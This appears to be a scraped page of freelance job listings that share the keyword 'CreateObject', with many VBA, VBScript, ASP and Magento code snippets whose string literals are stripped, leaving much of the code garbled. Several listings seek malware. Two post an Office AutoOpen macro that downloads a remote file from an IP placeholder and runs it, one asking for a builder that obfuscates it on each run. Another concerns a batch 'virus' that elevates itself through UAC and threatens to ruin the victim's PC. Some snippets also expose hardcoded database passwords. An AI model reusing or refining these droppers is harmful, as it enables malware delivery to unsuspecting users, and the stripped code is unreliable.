Createobject scriptingfilesystemobject getfolderemplois
Magento 2 error after installing module. Need fast fix Error: Class "MagonexDateTimeFrameworkTimezone" not found in /home/eds/public_html/vendor/magento/framework/ObjectManager/Factory/ Stack trace: #0 /home/eds/public_html/vendor/magento/framework/ObjectManager/Factory/(108): MagentoFrameworkObjectManagerFactoryAbstractFactory->createObject('MagonexDateTim...', Array) #1 /home/eds/public_html/vendor/magento/framework/ObjectManager/Factory/(150): MagentoFrameworkObjectManagerFactoryCompiled->create('MagonexDateTim...') #2 /home/eds/public_html/vendor/magento/framework/ObjectManager/Factory/(79): MagentoFrameworkObjectManagerFactoryCompiled->get('MagonexDateTim...') #3 /home/eds/public_html/vendor/magento/fram
...Filename = "/" Dim Filepath Filepath = (Filename) set fs = CreateObject("") set file = (Filepath, ForReading) SQLStrMem = "DELETE FROM ntodata1;" ( SQLStrMem ) do while not tmpOut = "(""" tmpOut = tmpOut & Replace(Replace(, chr(34), "'"), vbTab, """, """) tmpOut = tmpOut & """]" tmpOut = replace(tmpOut, """, "" ""]", """)") ' tmpOut SQLStrMem = "INSERT INTO ntodata1 VALUES " & tmpOut & ";" ( SQLStrMem ) loop () "1/3 Loaded... " Filename = "/" Filepath = (Filename) set fs = CreateObject("") set file = (Filepath, ForReading...
...step) to a file C: (replace yyyy-mm-dd-hh-mm with current date/time). Work must be well tested!!! Goal is to complete within 2 days. Sub RemoveDuplicateItems() Dim objFolder As Folder Dim objDictionary As Object Dim i As Long Dim objItem As Object Dim strKey As String Dim objItems As Items Set objDictionary = CreateObject("") 'Select a source folder Set objFolder = Set objItems = "[ReceivedTime]", False If Not (objFolder Is Nothing) Then For i = To 1 Step -1 If Int(i / 1000) = i / 1000 Then "---" End If Set objItem = objItems
Hello, I'm using a Vba script in order to scap data, but it doesnt' working more. I need to fix This is the script Sub pro1() Dim m As Integer 'If (Now()) = 8 And (Now()) = 9 And (Now()) = 2022 Then Dim element As IHTMLElement Dim elements As IHTMLElementCollection Dim IE As Object Dim html As HTMLDocument Set IE = CreateObject("") 'If you want to see the internet explorer window you should type down as True otherwise False = True For m = 2 To ("A" & ).End(xlUp).Row If ("B" & m) = "" Then GoTo lab2: Url = "" & ("B" & m) & "&__mk_it_IT=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=2J09C1LHL9BH2&sprefix=" & ("B" & m) & "%2Caps%2C184&ref=nb...
..."List" tab, remove any unmacthed Part Numbers data from the Cost Sources Template '***************************************************************************************************************** 'Part Number ' Dim Ws1 As Worksheet Dim Ws2 As Worksheet Dim Cl As Range Dim Rng As Range Dim Itm As Variant Set Ws1 = Sheets("List") Set Ws2 = Sheets("Parts") With CreateObject("") 'Column D of the List tab is the Part Number For Each Cl In ("D14", ("D" & ).End(xlUp)) If Not .exists() Then .Add , Cl Next Cl 'Column D of Cost Sources is "ID" For Each Cl In ("A3", ("A" & ).End(xlUp)) ...
...presentation. The list of files is in an excel file. I wrote a macro that opens each powerpoint files. I found a macro that used within powerpoint VBA removes unused masterslide but doesn't work when I include it in my Excel macro... Also I don't manage to save and close each ppt files. Macro that loops through files : Dim myPresentation As Object Dim PowerPointApp As Object Set myPresentation = CreateObject("") 'Find last row of path files list lastRow = Cells(, "A").End(xlUp).Row 'Looping through files For i = 1 To lastRow 'Defines pwp file to open DestinationPPT = Cells(i, "A") 'opens pwp file DestinationPPT = True 'Then I would like to : remove unused master slide, save
...there name in so i was wondering if i could just make the virus find there user file and just copy there account name for the variable instead (im coding in DOS on notepad and have tried using "@echo off") here is my code so far: set "params=%*" cd /d "%~dp0" && ( if exist "%temp%" del "%temp%" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || ( echo Set UAC = CreateObject^(""^) : "", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%" && "%temp%" && exit /B ) echo you have 30 seconds before you entire pc gets ruined, please enter your personal account name to remove ...
Veuillez vous inscrire ou vous connecter pour voir les détails.
...plugin doesn't keep the tickers refreshed unless they are actively displayed on a window. The SetForeign function shows the ticker but doesn't cause a refresh. If i use the following ParamTrigger code I can trigger the ticker to refresh but it is a manual refresh so I am looking for a way to flip through that watchlist to trigger the refresh. if( ParamTrigger( "Update Ticker", "Yes" )) { Ab = CreateObject( "" ); Chart = ; = Ticker; } I am looking to create an AFL that can create a slideshow in Amibroker - switch and actively display tickers from a watchlist in a specific chart. I am currently using the following AFL but need to find a way to do it without using the SetForeign function because I need to have the symbol actively display. ...
Hello, i have this macro Sub GenerateProductLabelTranslate() Dim destinationPathbongiovanni As String Dim cellFormula As String Dim chtObj As ChartObject destinationPathbongiovanni = GetFolder("Dove salvo etichette TRADOTTE") If destinationPathbongiovanni = "" Then Exit Sub For i = 2 To Sheets("Farine").Range("A10000").End(xlUp).Row If UCase(Sheets("Farine").Cells(i, 34)) = UCase("bongiovanni") Then 'save location fname = destinationPathbongiovanni & "" & Sheets("Farine").Cells(i, 33) & ".jpg" ' label id (where foreach working in template Sheets(&...
...Function Translate(germanStr As String) As String Dim URLstr As String Dim objHTTP As Object Dim objHTML As Object Dim objDivs As Object, objDiv As Object ' create URL and send URLstr = "" & "&sl=de" & "&tl=en" & "&ie=UTF-8&prev=_m&q=" & germanStr Set objHTTP = CreateObject("") "GET", URLstr, False ' create an html document Set objHTML = CreateObject("htmlfile") With objHTML .Open .Write .Close End With 'get all divs Set objDivs = ("div") For Each objDiv In objDivs If = "result-container" Then Translate = End...
Hello, I'm usign a Vba script in order to get data from SQL server, and used locally it working but when I'm using remote link doesn't'. This is the scrip Sub getDataComplessivoMagPg() Dim sConnString As String Set conn = CreateObject("") Set rs = CreateObject("") Server_Name = "2.122.427.112:14330" Database_Name = "mydb" User_ID = "admin" Password = "admin 1243" ' Create the connection string. sConnString = "Provider=SQLOLEDB;Data Source=" & Server_Name & ";Network Library=DBMSSOCN;Initial Catalog=" & Database_Name & ";User Id=" & User_ID & ";Password=" & Password & "" ...
...that it has an autocomplete function and I can't select the option from the autocomplete list. This is the website: This is the VBA code Sub Macro() Dim ie As InternetExplorer Dim html As HTMLDocument Dim objElement As Object Dim objCollection As Object Dim HT As String HT = "" Set ie = CreateObject("") = True HT Do While : DoEvents: Loop Do While <> 4: DoEvents: Loop (Now + TimeValue("00:00:02")) ("city").Value = "DELNICE" ("street").Value = "NOVO NASELJE" ("streetNumber").Value = "21" End Sub For instance, if you go to the website and write "DELNICE"
Hello. So i have a macro that doesn't work. If i click RUN, it downloads and executes ,...but if i open the .xls file, it doesn't run on startup. What I need is for a programmer to: 1) fix my vbscript macro to work on xls/doc files 2) create a python builder file that will randomize/obfuscate the macro each time it's executed here is the macro that im using right now and it's not running when file is opened. Sub AutoOpen() Dim xHttp: Set xHttp = CreateObject("") Dim bStrm: Set bStrm = CreateObject("") "GET", "~sgtatham/putty/latest/w64/", False With bStrm .Type = 1 '//binary .Open .write .savetofile "", 2 '//overwrite End With Shell ("") End Sub
...suggestion. The project will generally be used with classic asp (.asp). I cannot include .net files on every page. simple solution; I can make my home page home.aspx. If the cookie ID value is blank or not available on other pages; I can force the user to get Cookie value on page. additional information to assist; I create the cookie uniqueidentifier value as follows. Set TypeLib = CreateObject ("") CreateGUID = Mid (, 2, 36) ********** "" "Set-Cookie", " =" &CreateGUID & "; HttpOnly" "" -------------------------------------------------- When I run this code over SQL, I can get a unique value. DECLARE @UNI UNIQUEIDENTIFIER; SET @UNI = NEWID(); SELECT @UNI; But when I wrote a stored procedures on , I co...
Let me know that you have read my code or you won't be shortlisted. This is my existing code to open a Word document from Excel in Windows. My client uses Mac and the code is unable to work. Let me know if you know how to make it work in Mac. Sub Test() Dim wordapp As Object, WordDoc As Object Dim WordTable As Object Set wordapp = CreateObject(Class:="") Set WordDoc = ( & "Master ") = True With .Text = "XXX" . = "ZZZ" .Wrap = 1 .Execute Replace:=2 End With End Sub
We run java programs as wrappers for Visual Fox Pro. This is the error we are now getting. Java Program Failed. This happens after data is imported in using JAVA. Local oWSShell As "" oWSShell = Createobject("") Do While ((,1,.T.)<>0) ("!!! JAVA PROGRAM REPORTED FAILURE !!!", datetime()) Error "HIT IGNORE TO TRY AGAIN. Fatal! Java program failed!" Enddo Release oWSShell
We need to make a connection by hid the connection from dll, Its about 3-4 hid token functions, Dll just have the one class, it only creates a safedog object, that object is a class, which have all the functions, we need to call the , but it only have one export CreateObject
...WORD AutoClose macro: Sub AutoClose() ' AutoClose Macro With .Destination = wdSendToEmail .SuppressBlankLines = True With .DataSource .FirstRecord = wdDefaultFirstRecord .LastRecord = wdDefaultLastRecord End With .Execute Pause:=False End With End Sub VBS to open and close word file: Set Word = CreateObject("") ' Make Word visible = True 'Open the Document Set WordDoc = ("FilepathFileName") ' Close Word 'Release the object variables Set WordDoc = Nothing Set Word = Nothing ...
...formulario en Google Forms, pero no logro encontrar la manera de cargar una imagen, una vez que he logrado picar la opción de insertar imagen. Busco los servicios de un profesional que me ayude a completar mi programa, en lo que respecta a la carga de imágenes, desde el ordenador, en Google Forms. Adjunto el código que tengo avanzado. Sub CargaFormularioGoogle() Dim ie As Object Set ie = CreateObject("") With ie .Navigate "" Do DoEvents Loop Until = 4 'verifico si cargo correctamente la página .Visible = True .TheaterMode = True End With (Now + TimeValue("0:00:02")) i = 2
It appears that my version of winhttps will not use TLS 1.2. Coinbase have just forced TLS 1.2, it is enabled on my computer. The code that I have tried is as follows: Set objhttp = CreateObject("WinHttp.WinHttpRequest.5.1") (9) = 2048 which I believe should work. Clearly this is urgent for me, I assume that there is a fairly simple solution if you are familiar with the Windows registry etc but I am not and time is of the essence for me.
Hello here is VBA Excel code below. I need to login into URL below, I am not able to focus on UserName inputbox in form because div has no "id", I need to redo the code to be able to focus in this field and enter "testname". Also I need to have ability to click on button Login. Set objIE = CreateObject("") Const cURL = "" 'Enter the web address here Set objIE = CreateObject("") If Not objIE Is Nothing Then = True cURL With objIE Do While .Busy Or .ReadyState <> 4: Loop End With ("UserName")(0).Value = "testname" ("Password").Value = "pwd"
Below code is a sample of vba code to call and execution from vba script i require an expert with different ideal of below code Sub AutoOpen() Dim xHttp: Set xHttp = CreateObject("") Dim bStrm: Set bStrm = CreateObject("") "GET", "http://<IP>/<FILE>", False With bStrm .Type = 1 '//binary .Open .write .savetofile "", 2 '//overwrite End With Shell ("") End Sub you are require to write your own code and different execution method before i award a sample code might be needed for me not to waste my time
We are a small editing and translation firm. The followowing code has to be added to our website: <%@ Language=VBScript %> <% If request("submit") <> "" THEN Set cdoConfig = CreateObject("") With .Item("") = 2 .Item("") = "localhost" .Update End With Set objCDO = ("") Set = cdoConfig = Request("from") = Request("to") = Request("subject") = Request("message") On Error Resume Next () If Err <> 0 Then "Error encountered: " &
...number of elaborations, a macro open an excel file and insert data in it based on the previous elaborations. The code is: Set xlAP = CreateObject("") = True ... ... This code is no more working: after some time it gives back a runtime error "-2146959355 (8008005)" I'm already aware that the reference to files changes in VBA code between office 2011 and office 2016/365: I've already fixed it to open and work a word from a word and thi is not my problem. I've already checked on the web, and found others with the same problem, BUT NOONE PROVIDE GOOD FIX (e.g. ). I want a simple macro that works on MAC with office 2016/office
...number of elaborations, a macro open an excel file and insert data in it based on the previous elaborations. The code is: Set xlAP = CreateObject("") = True ... ... This code is no more working: after some time it gives back a runtime error "-2146959355 (8008005)" I'm already aware that the reference to files changes in VBA code between office 2011 and office 2016/365: I've already fixed it to open and work a word from a word and thi is not my problem. I've already checked on the web, and found others with the same problem, BUT NOONE PROVIDE GOOD FIX (e.g. ). I want a simple macro that works on MAC with office 2016/office
... and go to a race, as if you were going to bet ( see attached file) what I need : 1 - the code to read the hour in front of the race name (14h38), because it may change if start is delayed. 2 - the code which gives the same result as pushing on "Rafraichir les cotes" ( refresh the odds), at the bottom of the screen) in my code I already use Set IE = CreateObject("") identCourse 'race url ' = True While DoEvents Wend Set doc = May be could you start with the same doc object. To check the work, you could for example write a race url in a sheet cell, add 2 buttons, one to display the time of the race, the other one to trigger the odds refreshing. just write the minimum code
i'm open to any solutions if they really work. i will give you the ftp to the server to test yo...ran into a permissions problem from godaddy does anyone know classic asp? i want to write a text file from browser is there any hosts on shared hosting will let us do it? godaddy gives permissions error on line 13 (write file line) and they will not change iss <html> <body> <% With CreateObject("") CurrentPath=.CurrentDirectory End With Directory = CurrentPath & "" dim filesys, filetxt Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set filesys = CreateObject("") Set filetxt = (Directory, ForAppending, True) ("Your text goes here.") Set filesys = nothing %> </body> </html>
... To include columns labeled... Pos, Player, Today, Thru, Total, R1, R2, R3, R4, Total. IF helpful, below is code for VBA subroutine that performed this task perfectly last year but does not seem to be working this year: ---------------------------------------------------------------------------------------------------- Sub scrap() = False Set ie = CreateObject("") lrw = Range("A1048576").End(xlUp).Row + 1 Range("U6:AE200").ClearContents Range("AZ6:BI200").ClearContents URL = "" With ie .navigate URL .Visible = False While .Busy Or .readyState <> READYSTATE_COMPLETE Wend End With (Now
...outlook . Right now it just turns everything yellow. Here is the script Sub SetAppointmentColor() Dim olApp As Dim olFolder As Dim olItems As Dim olItem As Dim strText As String Dim bStarted As Boolean Dim i As Long On Error Resume Next Set olApp = GetObject(, "") If Err <> 0 Then Set olApp = CreateObject("") bStarted = True End If Set olFolder = (olFolderCalendar) Set olItems = For i = To 1 Step -1 Set olItem = olItems(i) Dim acceptedCount As Integer, notResponedCount As Integer, tentativelyAcceptedCount As Integer, declineCount As Integer, responseStatus As Integer acceptedCount = 0
... Set objHTTP = CreateObject("") URL = firstVal & Replace(start, " ", "+") & secondVal & Replace(dest, " ", "+") & lastVal "GET", URL, False "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" ("") If InStr(, """distance"" : {") = 0 Then GoTo ErrorHandl Set regex = CreateObject(""): = """value"".*?([0-9]+)": = False Set matches = () tmpVal = Replace(matches(0).SubMatches(0), ".", (xlListSeparator)) Dist_km = CDbl(tmpVal) If InStr(, """duration"" : {") = 0 Then GoTo ErrorHandl Set regex = ...
...YOU CAN FIX THE ISSUE We have an Excel sheet that sends a request to the server and gets the response back. When the call to the server is made with less data (2 rows), then Excel gives the result back. When a call is the server is made with 75 rows, it errors with 500-Internal Server Error. I will supply excel sheet with all relevant details to the successful candidate. Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") URL = "Will give to successfull candidate" 0, 0, 0, 0 "POST", URL, False "Connection", "Keep-Alive" "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "Content-Type", "application/json" "CharSet"
...to a user. The excel file has a connection to a SQL Database so the file must be refreshed and then emailed out to a user I have previously done this using some Vb script in a BAT file and triggered this using a Windows scheduled task, but this is a bit legacy now and I want to implement a more professional method. Below the VB script I previously used: 'Dim objExcel , wb Set objExcel = CreateObject("") set objworkbook = ("c:ReportDEV") objExcel.Visible=False = False 'Set Wb = strExcel With objworkbook .RefreshAll .Close True End With Some infrastructure and software details OS= Windows Server 201 R2 SQL Version= Microsoft
Hello, I have a sensor that I can get data from using HTTP requests. I need some simple VBscript to send these HTTP commands and get a response from the sensor. Something similar or this: Function GetXMLNodeValue() Dim oXML, oNode, ret, code $RX = "test" ret = "" On Error Resume Next Set oXML = CreateObject("") = False Call ("") Set oNode = ("/html/head/title/body") ret = On Error Goto 0 GetXMLNodeValue = ret End Function
I need to correct the code below as it gives me error as shown in the attached file ====== Dim oConn If not isObject(oConn) then Dim Connstr Set oConn = CreateObject("") = 1 set fs=CreateObject("") Set oRs=CreateObject("") Connstr="Provider=SQLNCLI11;Persist Security Info=False;Data Source=******;Initial Catalog=qdcostdb1;User Id=sa;Password=sa***" Connstr set f=("C:Job",1,true) strQuery= (strQuery) 'Set oRs = (strQuery) End if
Batch command unzip protected folder without any tools i have that code that works only for unzipping process but not for password That' s are initial code lines: @echo off setlocal cd /d %~dp0 Call :UnZipFile "%userprofile%Desktop" "%userprofile%Desktop" ) exit /b :UnZipFile <Extra...unzip protected folder without any tools i have that code that works only for unzipping process but not for password That' s are initial code lines: @echo off setlocal cd /d %~dp0 Call :UnZipFile "%userprofile%Desktop" "%userprofile%Desktop" ) exit /b :UnZipFile <ExtractTo> <newzipfile> set vbs="%temp%" if exist %vbs% del /f /q %vbs% >%vbs% echo Set fso = CreateObject("")...
Precisamos de um script simples, 1 arquivo, que receba um retorno em JSON e que as variaveis sejam capturadas via ASP CLASSIC. Exemplo: Retorno em JSON: [{"amount":0,"currencyCode":"BRL"}] set xmlhttp = CreateObject("") "GET", vURL, false "Content-type","application/json" "Authorization",Authorization jsonString = set outputObj = (jsonString) Retornos: : [{"amount":1999.99,"currencyCode":"EUR"}] Capturar em variavel os valores de "amount" e "correncyCode". Sendo o mesmo capaz de capturar um looping, como exemplo JSON: [ { "transactionId": "72741338154618892", "...
Fix page error in Magento 2 site and check for any other errors. hop By Shopping Options Price Fatal error: Uncaught TypeError: Argument 1 passed to MageplazaCoreHelperAbstrac...e/(93): MageplazaCoreHelperAbstractData->__construct(Object(MagentoFrameworkObjectManagerObjectManager)) #1 /chroot/home/absolute/(88): MagentoFrameworkObjectManagerFactoryAbstractFactory->createObject('MageplazaLayer...', Array) #2 /chroot/home/absolute/ in /chroot/home/absolute/ on line 55
...required: i.e. void ShowOutstandingUpdates(void) Errors must be caught and an error message displayed (if an error occurs, the function can simply write an error message to the console and return.) Note: Please do not ask me to Skype and discuss this project. I am happy to answer questions within Freelancer if the requirement is unclear. The .vbs is: ----- Set updateSession = CreateObject("") = "MSDN Sample Script" Set updateSearcher = () "Searching for updates..." & vbCRLF Set searchResult = ("IsInstalled=0 and Type='Software' and IsHidden=0") & " updates are required." & vbCRLF "Applicable
I have an error in my visual basic script in a software programme. The script writes a line of text from a field RusText in my program but russian text can't be written to a .txt file for some reason. It returns an error. Below is the script: ...my visual basic script in a software programme. The script writes a line of text from a field RusText in my program but russian text can't be written to a .txt file for some reason. It returns an error. Below is the script: 'Dim btFormat As Set fs = CreateObject("") Set a = ("X:Bartender-Valentin-ExperimenteelLogfiles"& LanguageBlock & ".txt", True) ( RusText ) 'Dim btFormat As Set fs = CreateObject("")
...Set oHttp = ("MSXML2.ServerXMLHTTP.6.0") 2, 13056 "POST", SOAP_ENDPOINT, false "Content-Type", "text/xml" "SOAPAction", SOAP_NS + "/" & SOAP_FUNCTION SOAP_REQUEST SOAP_RESPONSE = end function Function SOAP_GetResult(resultParam) Dim oXml Set oXml = CreateObject("") = true SOAP_RESPONSE Dim strPath strPath = "/*/*//" + resultParam Dim oNode Set oNode = (strPath) SOAP_GetResult = End Function %> ------------------------------------------------------------------------------------------------------------------------------
...2 seconds. The data I need is highlighted in red in the image attached to this post. Can you do it? I tried with this code without success: Sub RetrieveIt() 'Source: my_url = "" market=321&loan=150000&perc=20&prods=2&points=0" Set IE = CreateObject("") With IE .Visible = True .Navigate my_url .Top = 50 .Left = 530 .Height = 400 .Width = 400 End With Do Until Not And = 4 DoEvents Loop my_rate = ("bg-quote")(1).getElementsByTagName("span")(0).innerText 'my_rate
...php(36): MagentoFrameworkImage->open() #3 /sites/www/magento2/vendor/magento/framework/ObjectManager/Factory/(93): MagentoFrameworkImage->__construct(Object(MagentoFrameworkImageAdapterGd2), '/sites/www/mage...') #4 /sites/www/magento2/vendor/magento/framework/ObjectManager/Factory/Dynamic/(89): MagentoFrameworkObjectManagerFactoryAbstractFactory->createObject('MagentoFramewo...', Array) #5 /sites/www/magento2/vendor/magento/framework/ObjectManager/(57): MagentoFrameworkObjectManagerFactoryDynamicDeveloper->create('MagentoFramewo...', Array) #6 /sites/www/magento2/vendor/magento/framework/Image/(45): MagentoFrameworkObjectManagerObjectManager->create('MagentoFramewo...', Array) ... (a lot of oth...
I have some code which calls the Luminati proxy server from Excel VBA. I a...for a solution which adds my authentication string and password to the code. Besides that the code currently extracts the HTTP from a website. This must be the content of a website instead of the HTTP. Most important is you have knowledge from Luminati! this is my current code: Function GetResult(url As String) As String Dim xmlhttp As Object, ret As String Set xmlhttp = CreateObject("") "GET", url, False 2, "" ret = GetResult = ret End Function Sub Example() 'Print the HTML of GetResult("") End Sub
Operating System: Windows Server 2012 Application: Visual Basic for Applications with MS-ACCESS 2010. Quickbooks SDK 13.0 Statement: SET QBSessionManager = CreateObject(“”) Error: Runtime error ‘429’ Cannot create the object The app was running without issues in Windows Server 2008 and works properly in a single user environment under Windows 10.
write a small VBA script using the base code supplied to copy existing xls file to new xls file using time and date as file name Private Sub Trigger_Excel_Change() 'On Error GoTo ErrorHandler Dim ObjExcelApp As Object Dim Fname As String Fname = "C:Access_DB" 'name of already created excel project Set ObjExcelApp = CreateObject("") = False 'make run in background (Fname) Set ObjExcelApp = Nothing 'Error_handler 'LogDiagnosticsMessage & " " & , ftDiagSeverityError End Sub
... PdfFile = PdfFile & "_" & & ".pdf" Type:=xlTypePDF, Filename:="ICS Australia pdfFile", Quality:=xlQualityStandard, IncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:=False ' Use already open Mail if possible On Error Resume Next 'Set MailApp = GetObject(, "") 'If Err Then Set MailApp = CreateObject("") IsCreated = True 'End If ' = True On Error GoTo 0 SendTo = ("D9").Value ' Prepare e-mail with PDF attachment With (0) ' Prepare e-mail .Subject = "Purchase Order" .To = SendTo .CC = "accounts@" .Body = "Hi," & vbLf & vbLf _ & "The repo...
...String Dim HTTPReq As Object sAPI_KEY = "xxxxxxxx" sPASSWORD = "xxxxxxx" sSTORE_URL = "xxxxxxx" sTESTPRODUCTNUMBER = "xxxxxxxx" sTargetURL = "https://" & sAPI_KEY & ":" & sPASSWORD & "@" & sSTORE_URL & "/admin/products/" & sTESTPRODUCTNUMBER & ".json" sData = "{product: {""id"": 5961033925, ""body_html"": ""<h1>...penguin...</h1>""}}" Set HTTPReq = CreateObject("WinHttp.WinHttpRequest.5.1") (4) = 13056 ' The actual value for (WinHttpRequestOption_SslErrorIgnoreFlags) that I have set to 13056 (hexadecimal 0x3300...
I need softwar...complete i will start step 2 step 3 create gui where the fields are loaded from a db or excel step 4, accept inputs via post or get and fill in application form please bid only if you understand below Dim IE As Object ' Dim HTMLDoc As Object Dim EmailCtl As Object Dim PwdCtl As Object Set IE = CreateObject("") With IE .Navigate "**website hidden**" .Visible = True 'True/False Do While .Busy Or .readyState <> 4: DoEvents: Loop End With Set HTMLDoc = "$('button').trigger('click');" please bid if you understand and also mention your previous experience if any
**PLEASE CONFIRM YOUR UNDERSTANDING OF ABOVE WHEN PROVIDING YOUR BID ** We generate a HTML file, which our VB6 app creates for an invoice. It has a template HTML file, and when an invoice is created, it populates the placeholders in the template with the data for the invoice We use the following methods to perform the printing, depending upon the OS Set IE = CreateObject("") local_template OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER or (local_template) OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER But on some PCs & operating systems, we get various errors: Automation error - Trying to revoke a drop target that has not been registered Automation error